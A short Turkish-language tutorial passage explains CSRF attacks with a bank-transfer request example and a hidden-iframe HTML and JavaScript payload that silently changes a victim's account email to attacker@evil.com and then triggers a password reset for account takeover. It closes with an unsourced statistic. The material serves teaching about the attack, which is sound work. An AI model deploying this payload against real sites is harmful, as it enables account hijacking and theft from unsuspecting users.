Gerçek web uygulamalarında karşılaşılan CSRF açıklarının örnekleriyle bu saldırıların nasıl çalıştığını inceleyelim.
Senaryo: Kurban bankada oturumu açık olduğu sırada zararlı email'deki linke tıklar.
Sonuç: Fark etmeden saldırganın hesabına para transferi yapar.
// Banka transfer isteği
POST /api/transfer HTTP/1.1
Host: secure-bank.com
Cookie: session=abc123xyz789
Content-Type: application/json
{
"from_account": "12345678",
"to_account": "87654321",
"amount": 50000,
"description": "Transfer"
}
Saldırı: Kurbanın hesap email adresini değiştirip parola sıfırlama yapma.
Etki: Hesabın tamamen ele geçirilmesi.
<!-- Zararlı sayfa içeriği -->
<iframe style="display:none;" name="csrf-frame"></iframe>
<form action="https://social-media.com/settings/email"
method="POST" target="csrf-frame" id="csrf-form">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="current_password" value="">
</form>
<script>
setTimeout(() => {
document.getElementById('csrf-form').submit();
// 2 saniye sonra parola sıfırlama isteği gönder
setTimeout(() => {
window.open('https://social-media.com/forgot-password?email=attacker@evil.com');
}, 2000);
}, 1000);
</script>
Kritik İstatistik: 2023 yılında web uygulamalarının %23'ünde CSRF koruması eksik veya yetersiz bulundu. Bu açıklar özellikle finansal ve sosyal medya platformlarında yoğun olarak hedefleniyor.